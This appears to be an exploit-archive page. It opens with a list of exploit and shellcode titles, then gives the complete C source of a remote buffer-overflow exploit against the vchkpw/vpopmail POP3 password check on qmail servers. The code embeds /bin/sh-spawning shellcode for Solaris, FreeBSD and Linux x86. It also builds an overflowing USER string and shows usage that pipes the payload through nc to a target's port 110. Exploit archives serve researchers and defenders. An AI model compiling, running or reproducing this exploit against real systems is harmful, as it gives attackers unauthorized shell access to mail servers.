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14991 changes to exploits/shellcodes HTC Touch - vCard over IP Denial of Service TeamSpeak 3.0.0-beta25 - Multiple Vulnerabilities PeerBlock 1.1 - Blue Screen of Death WS10 Data Server - SCADA Overflow (PoC) Symantec Endpoint Protection 12.1.4013 - Service Disabling Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Memcached 1.4.33 - 'Crash' (PoC) Memcached 1.4.33 - 'Add' (PoC) Memcached 1.4.33 - 'sasl' (PoC) Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow man-db 2.4.1 - 'open_cat_stream()' Local uid=man CDRecord's ReadCD - '$RSH exec()' SUID Shell Creation CDRecord's ReadCD - Local Privilege Escalation Anyburn 4.3 x86 - 'Copy disc to image file' Buffer Overflow (Unicode) (SEH) FreeBSD - Intel SYSRET Privilege Escalation (Metasploit) CCProxy 6.2 - 'ping' Remote Buffer Overflow Savant Web Server 3.1 - Remote Buffer Overflow (2) Litespeed Web Server 4.0.17 with PHP (FreeBSD) - Remote Overflow Alcatel-Lucent (Nokia) GPON I-240W-Q - Buffer Overflow QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit) Imperva SecureSphere 13.x - 'PWS' Command Injection (Metasploit) Drupal < 8.5.11 / < 8.6.10 - RESTful Web Services unserialize() Remote Command Execution (Metasploit) Oracle Weblogic Server - Deserialization Remote Command Execution (Patch Bypass) TeamCity < 9.0.2 - Disabled Registration Bypass OpenSSH SCP Client - Write Arbitrary Files Kados R10 GreenBee - Multiple SQL Injection WordPress Core 5.0 - Remote Code Execution phpBB 3.2.3 - Remote Code Execution Linux/x86 - Create File With Permission 7775 + exit() Shellcode (Generator) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(/bin/ash_NULL_NULL) + XOR Encoded Shellcode (58 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/csh__ [/bin/csh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/ksh__ [/bin/ksh_ NULL]) + XOR Encoded Shellcode (53 bytes) Linux/x86 - setreuid(0_0) + execve(_/bin/zsh__ [/bin/zsh_ NULL]) + XOR Encoded Shellcode (53 bytes)
87 lines
No EOL
3 KiB
C
87 lines
No EOL
3 KiB
C
// source: https://www.securityfocus.com/bid/942/info
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Vpopmail (vchkpw) is free GPL software package built to help manage virtual domains and non /etc/passwd email accounts on Qmail mail servers. This package is developed by Inter7 (Referenced in the 'Credit' section) and is not shipped, maintained or supported by the main Qmail distribution.
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Certain versions of this software are vulnerable to a remote buffer overflow attack in the password authentication of vpopmail.
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/*
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qmail-qpop3d-vchkpw.c (v.3)
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by: K2,
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The inter7 supported vchkpw/vpopmail package (replacement for chkeckpasswd)
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has big problems ;)
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gcc -o vpop qmail-pop3d-vchkpw.c [-DBSD|-DSX86]
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( ./vpop [offset] [alignment] ; cat ) | nc target.com 110
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play with the alignment to get it to A) crash B) work.
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qmail-pop3d/vchkpw remote exploit. (Sol/x86,linux/x86,Fbsd/x86) for now.
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Tested agenst: linux-2.2.1[34], FreeBSD 3.[34]-RELEASE
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vpopmail-3.4.10a/vpopmail-3.4.11[b-e]
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Hi plaguez.
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prop's to Interrupt for testing with bsd, _eixon an others ;)
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cheez shell's :)
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THX goes out to STARBUCKS*!($#!
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*/
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#include <stdio.h>
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#include <stdlib.h>
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#include <string.h>
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#define SIZE 260
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#define NOP 0x90
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#ifdef SX86
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#define DEFOFF 0x8047cfc
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#define NOPDEF 75
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#elif BSD
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#define DEFOFF 0xbfbfdbbf
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#define NOPDEF 81
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#else
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#define DEFOFF 0xbffffcd8
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#define NOPDEF 81
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#endif
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char *shell =
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#ifdef SX86 // Solaris IA32 shellcode, cheez
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"\xeb\x48\x9a\xff\xff\xff\xff\x07\xff\xc3\x5e\x31\xc0\x89\x46\xb4"
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"\x88\x46\xb9\x88\x46\x07\x89\x46\x0c\x31\xc0\x50\xb0\x8d\xe8\xdf"
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"\xff\xff\xff\x83\xc4\x04\x31\xc0\x50\xb0\x17\xe8\xd2\xff\xff\xff"
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"\x83\xc4\x04\x31\xc0\x50\x8d\x5e\x08\x53\x8d\x1e\x89\x5e\x08\x53"
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"\xb0\x3b\xe8\xbb\xff\xff\xff\x83\xc4\x0c\xe8\xbb\xff\xff\xff\x2f"
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"\x62\x69\x6e\x2f\x73\x68\xff\xff\xff\xff\xff\xff\xff\xff\xff";
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#elif BSD // fBSD shellcode, mudge@l0pht.com
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"\xeb\x35\x5e\x59\x33\xc0\x89\x46\xf5\x83\xc8\x07\x66\x89\x46\xf9"
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"\x8d\x1e\x89\x5e\x0b\x33\xd2\x52\x89\x56\x07\x89\x56\x0f\x8d\x46"
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"\x0b\x50\x8d\x06\x50\xb8\x7b\x56\x34\x12\x35\x40\x56\x34\x12\x51"
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"\x9a>:)(:<\xe8\xc6\xff\xff\xff/bin/sh";
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#else // Linux shellcode, no idea
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"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
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"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
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"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
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"\xff\xff/bin/sh\xff";
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#endif
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int main(int argc, char **argv)
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{
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int i=0,esp=0,offset=0,nop=NOPDEF;
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char buffer[SIZE];
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if (argc > 1) offset += strtol(argv[1], NULL, 0);
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if (argc > 2) nop += strtol(argv[2], NULL, 0);
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esp = DEFOFF;
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memset(buffer, NOP, SIZE);
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memcpy(buffer+nop, shell, strlen(shell));
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for (i = (nop+strlen(shell)+1); i < SIZE; i += 4) {
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*((int *) &buffer[i]) = esp+offset;
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}
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printf("user %s\n",buffer);
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printf("pass ADMR0X&*!(#&*(!\n");
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fprintf(stderr,"\nbuflen = %d, nops = %d, target = 0x%x\n\n",strlen(buffer),nop,esp+offset);
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return(0);
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} |